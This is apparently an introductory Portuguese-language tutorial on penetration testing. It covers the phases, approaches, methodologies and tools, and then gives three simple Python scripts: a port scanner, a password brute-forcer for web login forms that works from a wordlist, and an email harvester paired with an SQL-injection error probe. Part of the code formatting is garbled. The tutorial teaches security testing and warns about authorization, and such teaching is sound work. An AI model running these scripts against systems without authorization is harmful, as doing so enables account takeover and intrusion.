# PENTEST

Pentest: é uma avaliação de segurança cibernética que simula um ataque a um sistema. O objetivo é identificar vulnerabilidades e falhas de segurança.

O pentest, ou teste de penetração, é uma simulação autorizada de ataques a sistemas, redes ou aplicações que tem como objetivo identificar vulnerabilidades e pontos fracos antes que possam ser explorados por agentes maliciosos.

Em termos simples, é um “ataque ético” para melhorar a segurança.

**Fases do pentest**

**Reconhecimento e Coleta de Informações: Coleta de dados públicos e privados, como registros WHOIS, informações DNS, e dados em fontes abertas (OSINT).**

**Enumeração e Escaneamento: Mapeamento de rede para identificar dispositivos, portas e serviços ativos (usando ferramentas como Nmap).**

**Exploração: Tentativa de explorar vulnerabilidades identificadas para obter acesso ou demonstrar o risco.**

**Pós-Exploração: Após o acesso, busca por elevação de privilégios, movimentação lateral e coleta de evidências.**

**Relatório: Documentação dos achados, impacto e recomendações para correção das vulnerabilidades.**

**Abordagens e Metodologias**

**Abordagens:**

**Black-Box:** O testador não possui conhecimento prévio sobre o sistema.

****White-Box:**** O testador tem acesso completo à documentação e informações internas.

****Gray-Box:**** Combina elementos das abordagens Black e White, com conhecimento parcial do sistema.

**Metodologias** conhecidas, como **PTES (Penetration Testing Execution Standard)**, **OSSTMM** ou as boas práticas da **OWASP** para aplicações web, guiam a execução dos testes.

# Ferramentas pentest

**Ferramentas Comuns**

**Reconhecimento:** whois, theHarvester, Maltego.

**Escaneamento e Enumeração:** Nmap, Masscan, DNSenum.

**Exploração:** Metasploit, sqlmap, Nikto, Burp Suite.

**Pós-Exploração:** Mimikatz (para ambientes Windows), scripts customizados.

Aqui mostro 3 ferramentas que podem te ajudar:

1. Portscan: Faz uma varredura de portas em um host, testando quais portas estão abertas.

import socket

import sys

def scan\_port(host, port):

s = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)

s.settimeout(1)

try:

if s.connect\_ex((host, port)) == 0:

print(f"Porta {port} aberta")

s.close()

except Exception:

pass

if \_\_name\_\_ == '\_\_main\_\_':

if len(sys.argv) != 4:

print(f"Uso: {sys.argv[0]} <host> <porta\_inicial> <porta\_final>")

sys.exit(1)

host = sys.argv[1]

start\_port = int(sys.argv[2])

end\_port = int(sys.argv[3])

for port in range(start\_port, end\_port + 1):

scan\_port(host, port)

1. Brutforce: Tenta, a partir de um wordlist, quebrar uma autenticação web (POST) baseada em um formulário simples.

**import requests**

**import sys**

**def brute\_force(login\_url, username, wordlist\_file):**

**with open(wordlist\_file, 'r') as f:**

**for pwd in f:**

**pwd = pwd.strip()**

**//Ajuste os nomes dos campos conforme o formulário da página/ data = {"username": username, "password": pwd}**

**try:**

**r = requests.post(login\_url, data=data, timeout=5)**

**except Exception as e:**

**print("Erro:", e)**

**continue**

**//Critério fictício: se a resposta contiver "Login successful"///**

**if "Login successful" in r.text:**

**print(f"Senha encontrada: {pwd}")**

**return**

**else:**

**print(f"Tentativa: {pwd}")**

**print("Senha não encontrada com este wordlist.")**

**if \_\_name\_\_ == '\_\_main\_\_':**

**if len(sys.argv) != 4:**

**print(f"Uso: {sys.argv[0]} <login\_url> <username> <wordlist\_file>")**

**sys.exit(1)**

**brute\_force(sys.argv[1], sys.argv[2], sys.argv[3])**

3.Information Gathering & SQL Injection Test: Recolhe informações (e-mails) da página de contatos de um site e, usando um parâmetro configurável, envia um payload para detectar possíveis erros que indiquem vulnerabilidade a SQL Injection.

**import requests, re, sys**

**def gather\_contacts(url):**

**try:**

**r = requests.get(url, timeout=5)**

**except Exception as e:**

**print("Erro ao acessar a página:", e)**

**return []**

**# Regex simples para extrair e-mails**

**emails = re.findall(r"[a-zA-Z0-9\_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+", r.text)**

**return list(set(emails))**

**def test\_sqli(url, param, payload):**

**params = {param: payload}**

**try:**

**r = requests.get(url, params=params, timeout=5)**

**except:**

**return False**

**# Verifica de forma simples se a resposta contém termos indicativos de erro SQL**

**for err in ["error", "sql", "exception"]:**

**if err in r.text.lower():**

**return True**

**return False**

**if \_\_name\_\_ == '\_\_main\_\_':**

**if len(sys.argv) != 4:**

**print(f"Uso: {sys.argv[0]} <contacts\_page\_url> <sqli\_param> <sqli\_payload>")**

**sys.exit(1)**

**page\_url = sys.argv[1]**

**sqli\_param = sys.argv[2]**

**sqli\_payload = sys.argv[3]**

**print("Recolhendo informações da página de contatos:")**

**emails = gather\_contacts(page\_url)**

**if emails:**

**print("E-mails encontrados:")**

**for email in emails:**

**print(" -", email)**

**else:**

**print("Nenhum e-mail encontrado.")**

**print(f"\nTestando SQL Injection no parâmetro '{sqli\_param}':")**

**if test\_sqli(page\_url, sqli\_param, sqli\_payload):**

**print("Possível vulnerabilidade de SQL Injection detectada!")**

**else:**

**print("SQL Injection não evidenciado.")**

Lembre-se: realizar pentest em ambientes sem autorização é ilegal. O conhecimento deve ser aplicado de forma responsável e ética.